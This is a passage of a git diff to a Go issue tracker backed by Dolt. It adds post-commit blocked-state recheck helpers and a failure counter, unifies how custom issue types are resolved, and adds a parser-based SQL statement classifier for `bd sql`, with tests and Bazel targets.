doltServerTx.Runner() hands out the pinned *sql.Conn, not the *sql.Tx -// this package keys its scope on, so the key has to be threaded through -// the wrapper — the caveat below, already real rather than hypothetical. -// - storage.Transaction (internal/storage/dolt/transaction.go, reached -// through DoltStore.RunInTransaction on a pinned connection), which is -// how `bd batch` closes, status updates and dep removals land when not -// proxied, and how `bd cook`'s proto-subgraph delete, `bd mol squash` and -// `bd mol burn` delete and close. -// - the legacy DoltStore.RemoveDependencyWithOptions (raw BeginTx in -// internal/storage/dolt/dependencies.go), which `bd duplicates --merge` -// uses to remove parent-child edges. -// - the wisp writers (internal/storage/dolt/wisps.go closeWisp/updateWisp/ -// deleteWisp and ephemeral_routing.go's demote-to-wisp), which run raw -// unscoped transactions. The recompute joins depends_on_wisp_id, so a -// permanent issue blocked by two wisps whose removals race keeps the same -// stale flag. +// - DoltStore's commitWriteTx (withWriteTx/withRetryTx), its storage.Transaction +// runner (RunInTransaction, which scopes both its regular and its ignored +// transaction), and the raw transactions of its wisp writers and of the +// legacy RemoveDependencyWithOptions; +// - EmbeddedDoltStore's commitConn, which every embedded write, including +// RunInTransaction, goes through; +// - the uow Tx (internal/storage/uow), which serves every write a uow +// provider serves: the proxied CLI, `bd batch` when proxied, and bd serve. +// It scopes the pinned *sql.Conn its repositories run on, and the +// domain/db repositories record through the Note* helpers below exactly +// where the issueops write paths do. // -// Every one of these leaves the pre-existing, operator-repairable state -// (`bd doctor`, `bd recompute-blocked`); none is made worse by the recheck. +// A write that reaches this package on any other transaction records nothing +// and behaves exactly as it did before the recheck existed; that leaves the +// operator-repairable state (`bd doctor`, `bd recompute-blocked`) the recheck +// was added to prevent. type BlockedRecheck struct { IssueIDs []string WispIDs []string @@ -222,6 +218,43 @@ func TakeBlockedRecheck(tx DBTX) BlockedRecheck { return taken } +// Merge returns the union of r and other: every id either recorded, and the +// sources and counts of both. A runner that scoped two transactions for one +// write (DoltStore's split regular/ignored transactions) settles them with one +// recheck. +func (r BlockedRecheck) Merge(other BlockedRecheck) BlockedRecheck { + merged := BlockedRecheck{SourceCount: r.SourceCount + other.SourceCount} + merged.IssueIDs, _ = appendRecheckIDs(append([]string(nil), r.IssueIDs...), other.IssueIDs, nil) + merged.WispIDs, _ = appendRecheckIDs(append([]string(nil), r.WispIDs...), other.WispIDs, nil) + merged.Sources, _ = appendRecheckIDs(append([]string(nil), r.Sources...), other.Sources, nil) + if len(merged.Sources) > recheckSourceLimit { + merged.Sources = merged.Sources[:recheckSourceLimit] + } + return merged +} + +// NoteStatusChangeBlockedRecheck records, for the post-commit recheck, the +// dependents a move of id to the inactive newStatus (a close included) +// recomputed in tx. The issue itself is excluded: a concurrent writer +// conflicts on its row rather than racing past it. +func NoteStatusChangeBlockedRecheck(tx DBTX, id, newStatus string, affectedIssues, affectedWisps []string) { + noteBlockedRecheck(tx, statusChangeRecheckLabel(id, newStatus), []string{id}, affectedIssues, affectedWisps) +} + +// NoteDependencyRemovalBlockedRecheck records the dependents a removal of the +// issueID -> dependsOnID edge recomputed in tx. Nothing is excluded: the +// dependent is exactly the row a racing unblocking write can leave stale. +func NoteDependencyRemovalBlockedRecheck(tx DBTX, issueID, dependsOnID string, affectedIssues, affectedWisps []string) { + noteBlockedRecheck(tx, fmt.Sprintf("dependency removal %s -> %s", issueID, dependsOnID), nil, affectedIssues, affectedWisps) +} + +// NoteDeleteBlockedRecheck records the dependents a delete of deletedIDs +// recomputed in tx, leaving out the deleted rows themselves. scope, when set, +// says where the ids came from ("from "). +func NoteDeleteBlockedRecheck(tx DBTX, deletedIDs []string, scope string, affectedIssues, affectedWisps []string) { + noteBlockedRecheck(tx, deleteRecheckLabel(deletedIDs, scope), deletedIDs, affectedIssues, affectedWisps) +} + // noteBlockedRecheck records the dependents a write recomputed in tx. source // labels the write for the recheck's commit message. exclude names ids this // call leaves out: for a close or status update, the issue whose row this diff --git a/internal/storage/issueops/blocked_recheck_report.go b/internal/storage/issueops/blocked_recheck_report.go new file mode 100644 index 000000000..eb09b5ba5 --- /dev/null +++ b/internal/storage/issueops/blocked_recheck_report.go @@ -0,0 +1,39 @@ +package issueops + +import ( + "context" + "log" + + "go.opentelemetry.io/otel" + "go.opentelemetry.io/otel/metric" +) + +// blockedRecheckDropped counts post-commit rechecks that failed. It is +// registered on the storage meter every write runner reports through, against +// the global delegating provider, so it forwards once telemetry.Init() runs. +var blockedRecheckDropped metric.Int64Counter + +func init() { + blockedRecheckDropped, _ = otel.Meter("github.com/steveyegge/beads/storage/dolt").Int64Counter("bd.db.blocked_recheck_dropped", + metric.WithDescription("Post-commit blocked-state rechecks abandoned; the write landed but dependents may carry a stale is_blocked flag until `bd recompute-blocked`"), + metric.WithUnit("{recheck}"), + ) +} + +// ReportBlockedRecheckFailure is the one channel a write runner reports a +// failed post-commit recheck through, instead of returning it: the write it +// followed is committed and durable, and every caller of a store write reads +// an error as "the mutation did not land", so surfacing this one would make +// automated callers retry and double-apply. What is left behind is the stale +// is_blocked flag `bd doctor` and `bd recompute-blocked` repair. +// +// Because the failure stops here, the counter and the line are its only +// trace. The counter is what a fleet alerts on; the line names the rows to +// repair. +func ReportBlockedRecheckFailure(ctx context.Context, pending BlockedRecheck, err error) { + if err == nil { + return + } + blockedRecheckDropped.Add(ctx, 1) + log.Printf("warning: %s", BlockedRecheckFailureMessage(pending, err)) +} diff --git a/internal/storage/issueops/bulk_ops.go b/internal/storage/issueops/bulk_ops.go index e96d5b513..636ae1819 100644 --- a/internal/storage/issueops/bulk_ops.go +++ b/internal/storage/issueops/bulk_ops.go @@ -234,7 +234,7 @@ func DeleteIssuesBySourceRepoInTx(ctx context.Context, tx *sql.Tx, sourceRepo st if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return int(rowsAffected), fmt.Errorf("recompute is_blocked after source-repo delete: %w", err) } - noteBlockedRecheck(tx, deleteRecheckLabel(issueIDs, "from "+sourceRepo), issueIDs, affectedIssues, affectedWisps) + NoteDeleteBlockedRecheck(tx, issueIDs, "from "+sourceRepo, affectedIssues, affectedWisps) return int(rowsAffected), nil } diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 899a265dc..54b5a4bf6 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -381,7 +381,7 @@ func closeIssueInTx(ctx context.Context, tx DBTX, id string, reason, actor, sess if err != nil { return nil, fmt.Errorf("recompute is_blocked after close for %s: %w", id, err) } - noteBlockedRecheck(tx, "close of "+id, []string{id}, affectedIssues, affectedWisps) + NoteStatusChangeBlockedRecheck(tx, id, string(types.StatusClosed), affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // recordEvent gates the human audit event, never the journal — nor the diff --git a/internal/storage/issueops/config_helpers.go b/internal/storage/issueops/config_helpers.go index d21de3b98..f17d858d4 100644 --- a/internal/storage/issueops/config_helpers.go +++ b/internal/storage/issueops/config_helpers.go @@ -56,7 +56,7 @@ func ResolveCustomConfigInTx(ctx context.Context, tx DBTX) (statuses []types.Cus return nil, nil, err } if statusesFromTable && typesFromTable { - return statuses, customTypes, nil + return statuses, ComposeCustomTypes(customTypes, "", config.GetCustomTypesFromYAML()), nil } cfg, err := getConfigKeysInTx(ctx, tx, "status.custom", "types.custom") @@ -66,12 +66,8 @@ func ResolveCustomConfigInTx(ctx context.Context, tx DBTX) (statuses []types.Cus statuses = ParseStatusFallback(yamlStatuses) } } - if !typesFromTable { - if yamlTypes := config.GetCustomTypesFromYAML(); len(yamlTypes) > 0 { - customTypes = yamlTypes - } - } - return statuses, customTypes, nil + // The types.custom row is unreadable; the remaining layers still compose. + return statuses, ComposeCustomTypes(customTypes, "", config.GetCustomTypesFromYAML()), nil } if !statusesFromTable { @@ -83,14 +79,7 @@ func ResolveCustomConfigInTx(ctx context.Context, tx DBTX) (statuses []types.Cus statuses = ParseStatusFallback(yamlStatuses) } } - if !typesFromTable { - if v := cfg["types.custom"]; v != "" { - customTypes = ParseTypesConfigValue(v) - } else if yamlTypes := config.GetCustomTypesFromYAML(); len(yamlTypes) > 0 { - customTypes = yamlTypes - } - } - return statuses, customTypes, nil + return statuses, ComposeCustomTypes(customTypes, cfg["types.custom"], config.GetCustomTypesFromYAML()), nil } func resolveCustomStatusesFromTableInTx(ctx context.Context, tx DBTX) ([]types.CustomStatus, bool, error) { @@ -280,21 +269,42 @@ func ResolveCustomTypesInTx(ctx context.Context, tx DBTX) ([]string, error) { // fallback. The table-empty case is intentional: schema migration creates the // table but may not have populated it from the existing types.custom config // string yet. + var configValue string if len(fromDB) == 0 { value, err := GetConfigInTx(ctx, tx, "types.custom") if err != nil { return customTypesYAMLFallback(config.GetCustomTypesFromYAML, err) } - if value != "" { - fromDB = ParseTypesConfigValue(value) - } + configValue = value } + return ComposeCustomTypes(fromDB, configValue, config.GetCustomTypesFromYAML()), nil +} - // Overlay-union with YAML types.custom regardless of the DB-side result. - // gastownhall/beads#4024: project-extension types declared in .beads/config.yaml - // must validate server-side even when the database side hasn't been migrated - // or populated with those types. - return mergeWithYAMLCustomTypes(fromDB, config.GetCustomTypesFromYAML), nil +// ComposeCustomTypes is the single rule for which custom issue types a +// workspace has. Every reader of the three sources — the resolvers here, the +// proxied-server config repository, and therefore both `bd types` and +// create/update validation in every mode — composes them through this +// function, so the listed set and the accepted set cannot drift apart: +// +// 1. the custom_types table, when it has rows; +// 2. otherwise the types.custom config row (CSV or JSON array), which covers +// databases whose table has not been populated yet; +// 3. always unioned with config.yaml types.custom, the project-extension +// overlay (gastownhall/beads#4024). +// +// Names are trimmed, empties dropped and duplicates removed; database types +// keep their order and YAML-only types are appended in declared order. +// Returns nil when no layer supplies a type. +func ComposeCustomTypes(fromTable []string, configValue string, yamlTypes []string) []string { + fromDB := dedupePreservingOrder(fromTable) + if len(fromDB) == 0 && configValue != "" { + fromDB = dedupePreservingOrder(ParseTypesConfigValue(configValue)) + } + merged := mergeWithYAMLCustomTypes(fromDB, func() []string { return yamlTypes }) + if len(merged) == 0 { + return nil + } + return merged } // mergeWithYAMLCustomTypes returns the union of dbTypes and the YAML-declared diff --git a/internal/storage/issueops/custom_types_parity_test.go b/internal/storage/issueops/custom_types_parity_test.go new file mode 100644 index 000000000..f4147ccc0 --- /dev/null +++ b/internal/storage/issueops/custom_types_parity_test.go @@ -0,0 +1,173 @@ +package issueops + +import ( + "context" + "os" + "path/filepath" + "reflect" + "regexp" + "testing" + + "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/config" +) + +// withYAMLCustomTypes points the process config at a throwaway +// .beads/config.yaml declaring types.custom, with HOME and XDG_CONFIG_HOME +// isolated so no user-level config can leak in. +func withYAMLCustomTypes(t *testing.T, customCSV string) { + t.Helper() + dir := t.TempDir() + t.Setenv("HOME", filepath.Join(dir, "home")) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(dir, "xdg")) + t.Setenv("BEADS_DIR", "") + beadsDir := filepath.Join(dir, ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + content := "" + if customCSV != "" { + content = "types:\n custom: \"" + customCSV + "\"\n" + } + if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte(content), 0o644); err != nil { + t.Fatalf("write config.yaml: %v", err) + } + t.Chdir(dir) + config.ResetForTesting() + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + t.Cleanup(config.ResetForTesting) +} + +// customTypeSources describes one database + config.yaml state. +type customTypeSources struct { + table []string // custom_types rows + configRow string // config types.custom value ("" = unset) + yaml string // config.yaml types.custom CSV ("" = unset) +} + +func expectCustomTypesTable(mock sqlmock.Sqlmock, names []string) { + rows := sqlmock.NewRows([]string{"name"}) + for _, n := range names { + rows.AddRow(n) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT name FROM custom_types ORDER BY name")).WillReturnRows(rows) +} + +// resolveViaCustomTypesInTx is the resolver issue create/update validation uses. +func resolveViaCustomTypesInTx(t *testing.T, src customTypeSources) []string { + t.Helper() + db, mock, tx := beginMockTx(t) + defer db.Close() + expectCustomTypesTable(mock, src.table) + if len(src.table) == 0 { + rows := sqlmock.NewRows([]string{"value"}) + if src.configRow != "" { + rows.AddRow(src.configRow) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT value FROM config WHERE `key` = ?")). + WithArgs("types.custom").WillReturnRows(rows) + } + got, err := ResolveCustomTypesInTx(context.Background(), tx) + if err != nil { + t.Fatalf("ResolveCustomTypesInTx: %v", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + return got +} + +// resolveViaCustomConfigInTx is the resolver the server-mode store's +// GetCustomTypes (and so direct-mode `bd types`) uses. +func resolveViaCustomConfigInTx(t *testing.T, src customTypeSources) []string { + t.Helper() + db, mock, tx := beginMockTx(t) + defer db.Close() + // One custom status so the status half resolves from its table and the + // config-row read below is driven by the types half alone. + mock.ExpectQuery(regexp.QuoteMeta("SELECT name, category FROM custom_statuses ORDER BY name")). + WillReturnRows(sqlmock.NewRows([]string{"name", "category"}).AddRow("review", "wip")) + expectCustomTypesTable(mock, src.table) + if len(src.table) == 0 { + rows := sqlmock.NewRows([]string{"key", "value"}) + if src.configRow != "" { + rows.AddRow("types.custom", src.configRow) + } + mock.ExpectQuery(regexp.QuoteMeta("SELECT `key`, value FROM config WHERE `key` IN (?,?)")). + WithArgs("status.custom", "types.custom").WillReturnRows(rows) + } + _, got, err := ResolveCustomConfigInTx(context.Background(), tx) + if err != nil { + t.Fatalf("ResolveCustomConfigInTx: %v", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + return got +} + +// TestCustomTypeResolversAgree pins the single composition rule for custom +// issue types (custom_types table, else the types.custom config row, always +// unioned with config.yaml types.custom). The listing path (`bd types`) and +// the validation path (create/update) must resolve the same set, or `bd types` +// advertises types that create rejects or vice versa. +func TestCustomTypeResolversAgree(t *testing.T) { + cases := []struct { + name string + src customTypeSources + want []string + }{ + {"nothing configured", customTypeSources{}, nil}, + {"table only", customTypeSources{table: []string{"convoy", "rig"}}, []string{"convoy", "rig"}}, + {"config row only", customTypeSources{configRow: "convoy,rig"}, []string{"convoy", "rig"}}, + {"yaml only", customTypeSources{yaml: "gizmo"}, []string{"gizmo"}}, + {"table plus yaml", customTypeSources{table: []string{"convoy"}, yaml: "gizmo"}, []string{"convoy", "gizmo"}}, + {"config row plus yaml", customTypeSources{configRow: "convoy", yaml: "gizmo,convoy"}, []string{"convoy", "gizmo"}}, + {"table wins over config row", customTypeSources{table: []string{"convoy"}, configRow: "convoy,rig", yaml: "gizmo"}, []string{"convoy", "gizmo"}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + withYAMLCustomTypes(t, tc.src.yaml) + validate := resolveViaCustomTypesInTx(t, tc.src) + list := resolveViaCustomConfigInTx(t, tc.src) + if len(validate) == 0 && len(tc.want) == 0 && len(list) == 0 { + return + } + if !reflect.DeepEqual(validate, tc.want) { + t.Errorf("ResolveCustomTypesInTx = %#v, want %#v", validate, tc.want) + } + if !reflect.DeepEqual(list, tc.want) { + t.Errorf("ResolveCustomConfigInTx custom types = %#v, want %#v (must match the validation resolver)", list, tc.want) + } + }) + } +} + +func TestComposeCustomTypes(t *testing.T) { + cases := []struct { + name string + table []string + configRow string + yaml []string + want []string + }{ + {"empty", nil, "", nil, nil}, + {"table trimmed and deduped", []string{" convoy ", "", "convoy", "rig"}, "", nil, []string{"convoy", "rig"}}, + {"config row json form", nil, `["convoy","rig"]`, nil, []string{"convoy", "rig"}}, + {"table ignores config row", []string{"convoy"}, "rig", nil, []string{"convoy"}}, + {"yaml appended after db", []string{"rig"}, "", []string{"gizmo", "rig"}, []string{"rig", "gizmo"}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + got := ComposeCustomTypes(tc.table, tc.configRow, tc.yaml) + if len(got) == 0 && len(tc.want) == 0 { + return + } + if !reflect.DeepEqual(got, tc.want) { + t.Errorf("ComposeCustomTypes = %#v, want %#v", got, tc.want) + } + }) + } +} diff --git a/internal/storage/issueops/delete.go b/internal/storage/issueops/delete.go index e0406c8f2..f94f48ec2 100644 --- a/internal/storage/issueops/delete.go +++ b/internal/storage/issueops/delete.go @@ -51,7 +51,7 @@ func DeleteIssueInTx(ctx context.Context, tx *sql.Tx, id string, actor string) e if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("recompute is_blocked after delete for %s: %w", id, err) } - noteBlockedRecheck(tx, deleteRecheckLabel([]string{id}, ""), []string{id}, affectedIssues, affectedWisps) + NoteDeleteBlockedRecheck(tx, []string{id}, "", affectedIssues, affectedWisps) return nil } @@ -392,7 +392,7 @@ func DeleteResolvedSetInTx(ctx context.Context, tx *sql.Tx, set DeletionSet, dry if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return nil, fmt.Errorf("recompute is_blocked after batch delete: %w", err) } - noteBlockedRecheck(tx, deleteRecheckLabel(set.All, ""), set.All, affectedIssues, affectedWisps) + NoteDeleteBlockedRecheck(tx, set.All, "", affectedIssues, affectedWisps) return result, nil } diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index 3467900af..400824cba 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -1143,9 +1143,7 @@ func removeDependencyInTx(ctx context.Context, tx *sql.Tx, issueID, dependsOnID, return false, fmt.Errorf("recompute is_blocked after remove dependency %s -> %s: %w", issueID, dependsOnID, err) } mergeRecomputeIsBlockedResult(recomputeResult, recomputed) - // The dependent is exactly the row a racing unblocking write can leave - // stale, so nothing is excluded from the post-commit recheck. - noteBlockedRecheck(tx, fmt.Sprintf("dependency removal %s -> %s", issueID, dependsOnID), nil, affectedIssues, affectedWisps) + NoteDependencyRemovalBlockedRecheck(tx, issueID, dependsOnID, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on emitEvent — a structural removal is as real to a replaying // consumer as one from an explicit dep verb. The same holds for the diff --git a/internal/storage/issueops/update.go b/internal/storage/issueops/update.go index 4a73157c2..44add0cea 100644 --- a/internal/storage/issueops/update.go +++ b/internal/storage/issueops/update.go @@ -542,7 +542,7 @@ func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string updateResult.IssueRowsChanged = !isWisp || recompute.IssueRowsChanged updateResult.WispRowsChanged = isWisp || recompute.WispRowsChanged if !newActive { - noteBlockedRecheck(tx, statusChangeRecheckLabel(id, newStatus), []string{id}, affectedIssues, affectedWisps) + NoteStatusChangeBlockedRecheck(tx, id, newStatus, affectedIssues, affectedWisps) } } } diff --git a/internal/storage/sqlclass/BUILD.bazel b/internal/storage/sqlclass/BUILD.bazel new file mode 100644 index 000000000..db106a867 --- /dev/null +++ b/internal/storage/sqlclass/BUILD.bazel @@ -0,0 +1,28 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "sqlclass", + srcs = ["sqlclass.go"], + importpath = "github.com/steveyegge/beads/internal/storage/sqlclass", + visibility = ["//:__subpackages__"], + deps = ["@com_github_dolthub_vitess//go/vt/sqlparser"], +) + +go_test( + name = "sqlclass_test", + srcs = ["sqlclass_test.go"], + embed = [":sqlclass"], +) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/sqlclass/sqlclass.go b/internal/storage/sqlclass/sqlclass.go new file mode 100644 index 000000000..1c677e33d --- /dev/null +++ b/internal/storage/sqlclass/sqlclass.go @@ -0,0 +1,88 @@ +// Package sqlclass classifies raw SQL statements for `bd sql` with the same +// MySQL grammar the Dolt server parses, so callers can route a statement to a +// read transaction, a committing exec, or a committing query without prefix +// scanning. +package sqlclass + +import ( + "github.com/dolthub/vitess/go/vt/sqlparser" +) + +// Kind says how a single SQL statement must be executed so that writes are +// committed and result sets are never dropped. +type Kind int + +const ( + // Read changes nothing and returns a result set: run it in a read + // transaction and render its rows. + Read Kind = iota + // Write changes data and returns no result set: execute it in a + // committing transaction and report the rows affected. + Write + // Mixed may change data and may also return a result set (CALL, EXPLAIN + // ANALYZE of a write, RETURNING, or anything the parser cannot classify): + // run it in a committing transaction and render any rows it returns. + Mixed +) + +// String returns the kind's name for test and diagnostic output. +func (k Kind) String() string { + switch k { + case Read: + return "read" + case Write: + return "write" + default: + return "mixed" + } +} + +// Classify classifies a single SQL statement by its main statement, so CTEs +// (WITH [RECURSIVE] name(cols) AS (...)), comments, and string literals that +// contain keywords do not affect the result. Input the parser rejects is +// Mixed: it may still be valid for the server, and Mixed never discards rows +// or rolls back writes. +func Classify(query string) Kind { + stmt, err := sqlparser.Parse(query) + if err != nil || stmt == nil { + return Mixed + } + return classify(stmt) +} + +func classify(stmt sqlparser.Statement) Kind { + switch s := stmt.(type) { + case *sqlparser.Select: + if s.Into != nil { + return Write + } + return Read + case *sqlparser.SetOp, *sqlparser.Show, *sqlparser.OtherRead: + return Read + case *sqlparser.Explain: + if !s.Analyze { + return Read + } + if s.Statement != nil && classify(s.Statement) == Read { + return Read + } + return Mixed + case *sqlparser.Insert: + return writeUnlessReturning(len(s.Returning)) + case *sqlparser.Update: + return writeUnlessReturning(len(s.Returning)) + case *sqlparser.Delete: + return writeUnlessReturning(len(s.Returning)) + case *sqlparser.DDL, *sqlparser.AlterTable, *sqlparser.DBDDL, *sqlparser.Set, *sqlparser.Use: + return Write + default: + return Mixed + } +} + +func writeUnlessReturning(returning int) Kind { + if returning > 0 { + return Mixed + } + return Write +} diff --git a/internal/storage/sqlclass/sqlclass_test.go b/internal/storage/sqlclass/sqlclass_test.go new file mode 100644 index 000000000..4d275c8d8 --- /dev/null +++ b/internal/storage/sqlclass/sqlclass_test.go @@ -0,0 +1,67 @@ +package sqlclass + +import "testing" + +func TestClassify(t *testing.T) { + cases := []struct { + name string + query string + want Kind + }{ + {"select", "SELECT 1", Read}, + {"lowercase select", " select id from issues", Read}, + {"union", "SELECT 1 UNION SELECT 2", Read}, + {"parenthesized union", "(SELECT 1) UNION (SELECT 2)", Read}, + {"show", "SHOW TABLES", Read}, + {"describe", "DESCRIBE issues", Read}, + {"explain select", "EXPLAIN SELECT * FROM issues", Read}, + {"leading block comment", "/* note */ SELECT 1", Read}, + {"leading line comment", "-- note\nSELECT 1", Read}, + + // CTE reads: a prefix scanner that treats the column list after the CTE + // name as the CTE body sees "AS" as the main verb and calls it a write. + {"cte select", "WITH t AS (SELECT 1 AS n) SELECT n FROM t", Read}, + {"cte column list", "WITH t(n) AS (SELECT 1) SELECT n FROM t", Read}, + {"recursive cte column list", "WITH RECURSIVE n(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM n WHERE i < 3) SELECT i FROM n", Read}, + {"recursive cte", "WITH RECURSIVE t AS (SELECT 1 AS i UNION ALL SELECT i + 1 FROM t WHERE i < 3) SELECT * FROM t", Read}, + {"multiple ctes with column lists", "WITH a(x) AS (SELECT 1), b(y) AS (SELECT x FROM a) SELECT y FROM b", Read}, + {"cte nested parens", "WITH t AS (SELECT (1 + (2 * 3)) AS n) SELECT n FROM t", Read}, + {"cte keywords in literal", "WITH t AS (SELECT ') DELETE FROM issues' AS s) SELECT s FROM t", Read}, + {"cte escaped quote in literal", `WITH t AS (SELECT 'a\'(' AS s) SELECT s FROM t`, Read}, + {"cte comment with keywords", "WITH t AS (SELECT 1 AS n /* ) DELETE */) SELECT n FROM t", Read}, + {"cte union main", "WITH t(n) AS (SELECT 1) SELECT n FROM t UNION SELECT 2", Read}, + + // CTE writes must stay writes: a read transaction is rolled back. + {"cte delete", "WITH t AS (SELECT id FROM issues) DELETE FROM issues WHERE id IN (SELECT id FROM t)", Write}, + {"cte column list update", "WITH t(i) AS (SELECT id FROM issues) UPDATE issues SET priority = 1 WHERE id IN (SELECT i FROM t)", Write}, + {"recursive cte delete", "WITH RECURSIVE t(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM t WHERE i < 3) DELETE FROM issues WHERE priority IN (SELECT i FROM t)", Write}, + {"cte escaped quote hides delete", `WITH t AS (SELECT 'a\'(' AS x) DELETE FROM issues`, Write}, + {"insert select with cte", "INSERT INTO labels (issue_id, label) WITH t AS (SELECT id FROM issues) SELECT id, 'x' FROM t", Write}, + + {"insert", "INSERT INTO labels (issue_id, label) VALUES ('a', 'b')", Write}, + {"replace", "REPLACE INTO labels (issue_id, label) VALUES ('a', 'b')", Write}, + {"update", "UPDATE issues SET priority = 1", Write}, + {"delete", "DELETE FROM issues", Write}, + {"create table", "CREATE TABLE x (id INT PRIMARY KEY)", Write}, + {"alter table", "ALTER TABLE issues ADD COLUMN x INT", Write}, + {"drop table", "DROP TABLE x", Write}, + {"set", "SET @x = 1", Write}, + {"select into variable", "SELECT 1 INTO @x", Write}, + + // Statements that may write AND return rows, or that the parser + // cannot classify, must run in a committing transaction that still + // renders any result set. + {"call", "CALL DOLT_COMMIT('-Am', 'msg')", Mixed}, + {"explain analyze delete", "EXPLAIN ANALYZE DELETE FROM issues", Mixed}, + {"unparseable", "PRAGMA table_info(issues)", Mixed}, + {"garbage", "NOT SQL AT ALL (", Mixed}, + {"empty", "", Mixed}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := Classify(tc.query); got != tc.want { + t.Errorf("Classify(%q) = %v, want %v", tc.query, got, tc.want) + } + }) + } +} diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index 0862a9118..1a98ccda7 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -7,6 +7,7 @@ go_library( "batch_applier.go", "batch_closer.go", "batch_creator.go", + "blocked_recheck.go", "blockingannotator.go", "bootstrapper.go", "commenter.go", @@ -82,6 +83,7 @@ go_test( "batch_apply_contract_test.go", "batch_closer_contract_test.go", "batch_creator_contract_test.go", + "blocked_recheck_race_test.go", "blocking_annotator_contract_test.go", "bootstrapper_contract_test.go", "claimer_contract_test.go", @@ -204,8 +206,11 @@ sh_test( ":uow_test", "//cmd/bd:bd_for_tests", ], + # Pinned to the container backend (the docker lane is the A/B control); + # rule env beats --test_env, so =local on the command line cannot flip it. env = { "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "container", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", }, # ~12 min unsharded under -race on a loaded host (large allows 15). @@ -216,6 +221,38 @@ sh_test( ], ) +# uow_test as pr.yml's "Test (storage domain + uow)" job runs it (no -short), +# on the dolt-server lane: every server the tests ask internal/testutil for is +# a `dolt sql-server` child of the test process, so the target runs on remote +# workers. It repeats uow_test's `env` (go_test_variant.sh cannot inherit it). +# GOMAXPROCS=4 is the job's runner shape. uow_docker_test is the A/B control. +# 8 shards keep each under ~2 min remotely (the package is ~7 min in the job). +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. Runs remotely: no +# docker, and a missing server fails (REQUIRE=1) instead of skipping, so +# a cached pass is as good as a fresh one. +sh_test( + name = "uow_dolt_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :uow_test)"], + data = [ + ":uow_test", + "//cmd/bd:bd_for_tests", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "GOMAXPROCS": "4", + }, + shard_count = 8, + tags = ["dolt-server"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/uow/blocked_recheck.go b/internal/storage/uow/blocked_recheck.go new file mode 100644 index 000000000..4fc2ca8eb --- /dev/null +++ b/internal/storage/uow/blocked_recheck.go @@ -0,0 +1,80 @@ +package uow + +import ( + "context" + "fmt" + + "github.com/cenkalti/backoff/v4" + + "github.com/steveyegge/beads/internal/storage/issueops" +) + +// recheckBlockedAfterCommit recomputes, on the pinned session and a fresh +// snapshot, the blocked state of the dependents a committed unit of work's +// unblocking writes recorded (gastownhall/beads#6716). The in-transaction +// recompute read that unit of work's start snapshot, so two proxied writes +// racing on the blockers of one dependent each saw the other blocker still in +// place and both committed leaving it blocked and hidden from `bd ready`. A +// recompute over the same ids after commit sees both writes. +// +// It runs no SQL when nothing was recorded. It commits the way the unit of +// work did (commitStatement): a Dolt commit named for the writes when it +// changed an issues row and version commits are not deferred, a plain COMMIT +// otherwise. A serialization loss is retried on a new transaction. +// +// The write it follows is durable, so a failure is reported through +// issueops.ReportBlockedRecheckFailure (the counter and warning the store +// runners use), never returned: an error from Commit tells every caller the +// write did not land. What a failure +// leaves is the stale flag `bd doctor` and `bd recompute-blocked` repair. It +// reports whether the session is clean enough to go back to the pool; false +// means a transaction may still be open on it and it must be poisoned. +func (t *doltServerTx) recheckBlockedAfterCommit(ctx context.Context, pending issueops.BlockedRecheck) bool { + if pending.Empty() || issueops.InBlockedRecheck(ctx) { + return true + } + ctx, cancel := issueops.BlockedRecheckContext(ctx) + defer cancel() + + bo := backoff.NewExponentialBackOff() + bo.InitialInterval = txRetryInitialInterval + bo.MaxElapsedTime = DefaultTxRetryMaxElapsed + clean := true + err := 